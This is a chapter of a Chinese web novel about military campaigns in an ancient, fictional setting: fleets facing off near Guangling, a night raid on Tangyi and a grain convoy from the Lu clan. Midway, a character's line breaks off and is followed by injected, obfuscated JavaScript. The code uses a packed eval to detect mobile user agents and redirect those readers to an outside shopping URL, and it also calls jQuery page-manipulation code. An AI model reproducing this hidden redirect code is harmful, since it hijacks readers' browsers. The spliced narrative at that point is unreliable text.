邗沟口江面。
旭日东升,雨过之后岸边的薄冰被打得七零八碎,随着江波一起清浅地浮动,漂向中间。
江面中心,丹徒水师正和广陵守军对峙。丹徒的水师分列,中间主舰的船舱内,项协和张信等几个将领围着舆图,各自坐着议事。
张信握着下面人递来的回报,道:“能确定的折损,现在至少破坏了对面三艘斗舰,一艘是被烧了的,另外两艘是被我们的楼船撞翻的。本来公孙肇还能靠邗沟送来几只,但昨夜又是暴雨,又是决堤,估计现在自顾不暇。”
项冲撑着桌案哼笑一声:“粮仓都被淹了,他也撑不了多久。我们昨夜的折损还在预计范围之内,就看粮草能不能及时送到了。”
说到粮草,众人又沉默了一阵。虽说不知道那三仓粮到底能不能到,但是只要能用广陵牵扯住徐州一阵子,自然还有筹措粮草的时间,也不算完全没机会。
门外突然一个守卫进来,打破了短暂的沉默,他道:“将军,季梁将军他们来了!”
项协起身走出舱室,果然见到东边来的斗舰首尾相连,这些船只靠近之后依次转向,稳稳地汇入了江面上的编队。没过多久,季梁所乘艨艟伸出木板,与主舰接舷。
季梁抱着头盔匆匆赶来,刚要行礼,项协就把他拉过去了,他松了一口气:“子良,你可算是来了。”
季梁:“海陵只派五只斗舰迎战,我手下无一损失,全部回航。”
项协一眯眼,道:“那接下来,就是用这些斗舰和走舸,让对面的楼船也沉下去了。”
季梁与他有同样的默契,平静地点了点头:“我明白。但还有一件事。”
项协:“啥?”
季梁:“你为什么同意让伏合去决堤?”
项协结舌,他走到栏杆边,看向楼船外的江面,半晌道:“这事算我不对。但,合妹不是做得很好吗?”
季梁立刻拧眉,项协却摆手:“不管怎么说我也让自己的亲弟弟一起去了。等伏邈问起来,把项冲的军令状塞给他看就成。”
季梁:“不必了,我想他已经知道了。”
项协:“啊?”
季梁垂下眼:“出发之前,我就派人送信给州牧,州牧知道了,大概会马上给伏中郎将传信。”
项协瞪大眼:“什么!?……哥你可真是我哥,我真谢谢你啊,这下我算是完了。”
*
秣陵对岸。又一日的雨雪过后,低空攒了一团轻雾,盖住了地面上的车马士卒,还有一地泥泞。
秣陵营的后勤兵在清理雨水留下的痕迹。这处大营是在昨天秣陵出兵,从上游渡江,然后绕路夜袭徐州兵营寨之后,在一个白天建起来的。
营内甚至还没有正式的主帐,大营中心只有一座临时扎起的高台,四面通风,屋顶覆瓦,梁架上垂下草帘素纱。
一个传令兵从大门外跑进来,快步绕过正在铲地面泥水的后勤,在高台下停下道:“报中郎将,丹徒来报,少将军已攻破广陵!”
很快,高台上将领们小声的谈话声停下了,围着中间书案的几人纷纷站起来,走到高台边大声道:“好!去绕营寨跑一圈,把这好消息告诉将士们,就算公孙老贼再修十年船,也不过土鸡瓦犬尔!”
众人哈哈大笑,回头对斜倚在案后的人道:“士辽,之后怎么办,要不我们再去劫点公孙肇的粮?”
伏邈神色恹恹,似有倦意,手里拿着一只红线缠绕的漆封竹筒,听到同僚的声音微微抬眼,终于收起竹筒起身,伏邈腰间的一串玉组佩随着动作叮当作响,他轻轻一抚,浅色暗纹的大袖恰巧盖住那些珠玉,周身的光彩都暗了一些。
伏邈开口:“等。”
广陵被淹之后,堂邑的徐州兵不得不分出一部分去救援广陵,防守减弱。
伏邈立刻抓住项协给的时机,把秣陵大部放在燕子矶附近,防止敌军强渡,自己则分兵南向,从牛渚渡江到长江北岸的历阳,然后在九江郡绕路,连夜奔袭,从后方偷袭了堂邑。在江面上紧密观察的秣陵水师立刻上岸,两面夹击。
对岸的堂邑营寨在一夜之间崩溃了。
收拢秣陵兵之后,伏邈就在在原有的营寨废墟上,建起了新的大营。
此时新营的满地雪水之下,还有几天前留下的淡淡血气。伏邈不喜欢这种味道,微微蹙眉,伸手把腰上的一枚样子稚拙的玉佩解下来,塞进了用香熏过的袖子里。
伏邈:“邓氏来援带了那么多人马辎重,秣陵营拿什么打?项氏只是赢了一小步。这处营寨迟早要还给公孙肇的。”
其他将领心里也知道,只要还没有粮草,他们其实都寸步难行。他们能走到这一步,也多亏了不知道为什么在路上拖拖拉拉,到现在也没见到人影的邓籍。
但凡邓籍真打过来,北岸这边估计也守不住。所以他们现在留下来,主要还是为了把公孙肇在堂邑布置的一个小粮仓里的粮草都带走,以解秣陵燃眉之急。
副将可惜道:“现在我们夺了公孙肇的粮草,士气正足,若不是怕邓籍突袭,正应该再接着打下去!说来邓籍走得也真够慢的,广陵都淹了三天了,无浪营的探子回报,说竟然才走到彭城,这是来打仗的还是来玩的?”
旁边的一个穿常服的年轻文官闻言侧首。他微微一笑,轻声道:“说不定邓籍也有自己的心思呢。”
伏邈手指上戴着几个翠玉戒指,有一搭没一搭地叩着高台上的阑干,回过神来随意地嗯了一下,道:“公孙肇出手就失了两地,他老脸挂不住,应该已经去找邓籍求救了。邓氏可能是想等再过几天,在公孙肇最需要的时候出手。”
文官静静道:“原本公孙肇自恃兵强,以为自己不可能白给邓氏当先锋,现在这局面,也是他应该的。”
副将摸胡子:“这么看,邓氏迟早和我们打起来,娘的,还是缺这粮食的事!不是说曲阿都找陆氏找了两回了吗,陆氏怎么还连个屁声都没有!”
文官眉心一蹙,觉得这些人真是得意忘形了,正要开口,忽然听伏邈道:“嗯……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285533|197238||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曲阿。伏机,曲阿有送来其他消息吗?”
伏机忙拱手,疑惑道:“其他消息?下官没有收到。”
伏邈停下叩阑干,道:“无事。接着说。”
很快几个秣陵将领又开始嚷嚷,要是他们今天没打下堂邑,饿死了人,难道要让陆氏那帮大老爷自己提枪上前线?这几年陆氏在丹阳郡愈发蛮横,摆明了就是不肯让地位特殊的秣陵营完全没有陆家人,所以借此拿粮草来卡秣陵营的脖子。
伏邈觉得,陆氏应该还是不敢不借的,但具体要商量几天,就不好说了。
所有人都这么想,从广陵决堤回来的伏合也是这么想的。但谁都没预料到,就在恰好五天之后,陆约就带着陆氏派出的近千辆运粮车,亲自押送到曲阿。
伏合并没有看见他,听说除了曲阿之外,还有一队辎重也从宛陵出发,直接送去了伏邈在的秣陵营,这些消息都是卢照云告诉她的。
卢照云还说,陆约居然真的只是顺路押送,连歇都没歇,把文书留给了一道回来的蒋攸,立刻就马不停蹄地回海盐了。
伏合回来之后发了低热,一直有些恹恹的,她正懒在凭几上,闻言有些意外:“倒好像怕人找似的,丹徒都知道是他牵线说服陆氏出粮,稀罕他还来不及,怎么跑这么快?”
卢照云平时性子活泼好笑语,但近日发生了太多事,她那张花儿一样的脸也憔悴了不少,眼下泛着淡淡的褐色,像是被指甲掐过的花瓣。
她摇头表示不知道:“海盐令还问我你去哪了呢。”
伏合意外:“问我?”
卢照云把她在一旁晾着的药碗搁在了案上,顺手擦了擦岸上的水痕。
卢照云感激伏合代了她的班,一回来便赶来探望了。卢照云摸了摸药碗,见碗不烫了立刻拿到她嘴边,道:“对啊,陆约说既然令史病了就不打扰了,很快就走了。”
“咳、咳……”
伏合差点被卢照云灌药呛死,哀怨地看了她一眼,卢照云也有些讪讪,显然平时在家经常照顾孩子的不是她。
伏合怀疑她的孩子吃药恐怕比生病危险。
没过多久卢照云就走了,新来的粮草需要清点进仓,完账之后还要再去丹徒回报,邸阁上下又是一团忙碌。
伏合也要去丹徒医署找孟月河,孟月河诊脉之后说没什么大事,只让她继续吃药加餐,伏合在西院闲了几天,觉得好得差不多了就回了邸阁。
很快到了月底,杜审这次去丹徒不仅要回报现在的存粮,也要请示该如何处置烧了阳羡粮仓的间人。他本想带卢照云,但伏合自从回来之后还没见过项冲,也想去丹徒一趟,便和卢照云坐了同一辆马车走。
伏合无事可做,就随手拿了本账册,卢照云抱着软垫看她,伏合一派轻松,显然是当消遣看的,她忽然道:“其实小伏使君也是因为不甘心才来邸阁的吧?”
伏合一愣:“什么?”
卢照云看着她的脸:“其实待久了就能看出来,小伏使君的脸和手都更像女子。”